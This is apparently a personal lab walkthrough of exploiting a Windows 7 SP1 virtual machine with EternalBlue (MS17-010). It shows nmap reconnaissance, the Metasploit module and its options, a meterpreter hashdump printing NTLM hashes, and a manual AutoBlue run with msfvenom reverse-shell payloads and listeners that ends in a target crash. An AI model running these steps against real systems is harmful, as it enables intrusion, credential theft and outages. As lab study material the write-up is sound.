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EternalBlue (MS17-010) — Windows 7 SP1 Exploitation Walkthrough

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Tags

windowsMachineeasyms17-010eternalblue
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Lab Setup

Both machines are configured on a NAT network.

Kali Linux

Blue

Windows

Blue

Pinging

┌──(kali㉿kali)-[~]
└─$ ping 10.0.2.5
PING 10.0.2.5 (10.0.2.5) 56(84) bytes of data.
64 bytes from 10.0.2.5: icmp_seq=1 ttl=128 time=14.2 ms
64 bytes from 10.0.2.5: icmp_seq=2 ttl=128 time=1.95 ms
^C
--- 10.0.2.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.950/8.082/14.215/6.132 ms

Verified connectivity by pinging the target from the Kali host to confirm the device was reachable.

Nmap Scan:

┌──(kali㉿kali)-[~]
└─$ nmap -sCV 10.0.2.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 09:20 EST
Nmap scan report for 10.0.2.5
Host is up (0.0040s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=WIN-845Q99OO4PP
| Not valid before: 2025-10-15T06:18:26
|_Not valid after:  2026-04-16T06:18:26
| rdp-ntlm-info:
|   Target_Name: WIN-845Q99OO4PP
|   NetBIOS_Domain_Name: WIN-845Q99OO4PP
|   NetBIOS_Computer_Name: WIN-845Q99OO4PP
|   DNS_Domain_Name: WIN-845Q99OO4PP
|   DNS_Computer_Name: WIN-845Q99OO4PP
|   Product_Version: 6.1.7601
|_  System_Time: 2025-11-12T14:21:30+00:00
|_ssl-date: 2025-11-12T14:21:45+00:00; +4s from scanner time.
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:2A:95:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-845Q99OO4PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-11-12T14:21:30
|_  start_date: 2025-11-12T14:10:08
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h00m03s, deviation: 2h14m09s, median: 3s
|_nbstat: NetBIOS name: WIN-845Q99OO4PP, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2a:95:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99OO4PP
|   NetBIOS computer name: WIN-845Q99OO4PP\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-11-12T09:21:30-05:00
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.29 seconds

The target 10.0.2.5 is up and identified as Windows 7 Ultimate (6.1.7601 SP1). Open, relevant services: SMB/RPC accessible on 135, 139, 445 (microsoft-ds/NetBIOS/RPC) and RDP (3389); the RDP service presents an SSL certificate for WIN-845Q99OO4PP valid 2025-10-15 → 2026-04-16 and reports Product_Version: 6.1.7601. SMB scripts show the scanner accessed SMB as guest, authentication level user, challenge/response supported, and message signing is disabled / not required, which weakens integrity protections. Service detection and SMB OS discovery consistently return the Windows 7 SP1 fingerprint and workgroup WORKGROUP.

Exploitation using Metasploit

Searched for 'ernalblue' on msfconsole

msf6 > search eternalblue

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

The exploitation was performed using the Metasploit module 'exploit/windows/smb/ms17_010_eternalblue'

Set options

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost eth0
lhost => 10.0.2.4
msf6 exploit(windows/smb/ms17_010_eternalblue) >

Exploit

Blue

It worked and I got the meterpreter shell

Hashdump

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f580a1940b1f6759fbdd9f5c482ccdbb:::
user:1000:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
meterpreter >
  • Those lines from hashdump are password hashes extracted from the Windows. Format: username:RID:LM_HASH:NTLM_HASH:::.
  • The NTLM_HASH values are what an attacker would target to recover plaintext passwords via offline cracking. Whether cracking succeeds depends on password strength and attacker resources.
  • Possession of these hashes is evidence of credential exposure and a serious security breach.

Manual Exploitation

I searched for public exploits avaliable for the eternal blue and found this github repo with detailed walkthrough

https://github.com/3ndG4me/AutoBlue-MS17-010

Clone the repo

┌──(kali㉿kali)-[~/blue]
└─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010
Cloning into 'AutoBlue-MS17-010'...
remote: Enumerating objects: 145, done.
remote: Counting objects: 100% (69/69), done.
remote: Compressing objects: 100% (30/30), done.
remote: Total 145 (delta 52), reused 43 (delta 39), pack-reused 76 (from 1)
Receiving objects: 100% (145/145), 105.75 KiB | 327.00 KiB/s, done.
Resolving deltas: 100% (86/86), done.

Install the requirements

┌──(work)─(kali㉿kali)-[~/blue/AutoBlue-MS17-010]
└─$ pip install -r requirements.txt

Usage

./shell_prep.sh

┌──(work)─(kali㉿kali)-[~/blue/AutoBlue-MS17-010]
└─$ cd shellcode

┌──(work)─(kali㉿kali)-[~/blue/AutoBlue-MS17-010/shellcode]
└─$ ./shell_prep.sh
                 _.-;;-._
          '-..-'|   ||   |
          '-..-'|_.-;;-._|
          '-..-'|   ||   |
          '-..-'|_.-''-._|
Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
y
LHOST for reverse connection:
10.0.2.4
LPORT you want x64 to listen on:
4444
LPORT you want x86 to listen on:
2222
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
0
Generating x64 cmd shell (staged)...

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 511 bytes
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (staged)...

msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=2222
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
DONE

./listener_prep.sh

┌──(work)─(kali㉿kali)-[~/blue/AutoBlue-MS17-010/shellcode]
└─$ cd ..

┌──(work)─(kali㉿kali)-[~/blue/AutoBlue-MS17-010]
└─$ ./listener_prep.sh
  __
  /,-
  ||)
  \\_, )
   `--'
Eternal Blue Metasploit Listener

LHOST for reverse connection:
10.0.2.4
LPORT for x64 reverse connection:
4444
LPORT for x86 reverse connection:
2222
Enter 0 for meterpreter shell or 1 for regular cmd shell:
1
Type 0 if this is a staged payload or 1 if it is for a stageless payload: 0
Starting listener (staged)...
Starting postgresql (via systemctl): postgresql.service.
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again


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MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
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MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com

       =[ metasploit v6.4.64-dev                          ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[*] Processing config.rc for ERB directives.
resource (config.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (config.rc)> set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp
resource (config.rc)> set LHOST 10.0.2.4
LHOST => 10.0.2.4
resource (config.rc)> set LPORT 4444
LPORT => 4444
resource (config.rc)> set ExitOnSession false
ExitOnSession => false
resource (config.rc)> set EXITFUNC thread
EXITFUNC => thread
resource (config.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (config.rc)> set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
resource (config.rc)> set LPORT 2222
[*] Started reverse TCP handler on 10.0.2.4:4444
LPORT => 2222
resource (config.rc)> exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.2.4:2222
msf6 exploit(multi/handler) >

Exploit

┌──(kali㉿kali)-[~/blue/AutoBlue-MS17-010]
└─$ python eternalblue_exploit7.py 10.0.2.5 shellcode/sc_all.bin
shellcode size: 2307
numGroomConn: 13
Target OS: Windows 7 Ultimate 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER

The exploit crashed the target machine, resulting in the Blue screen:

Blue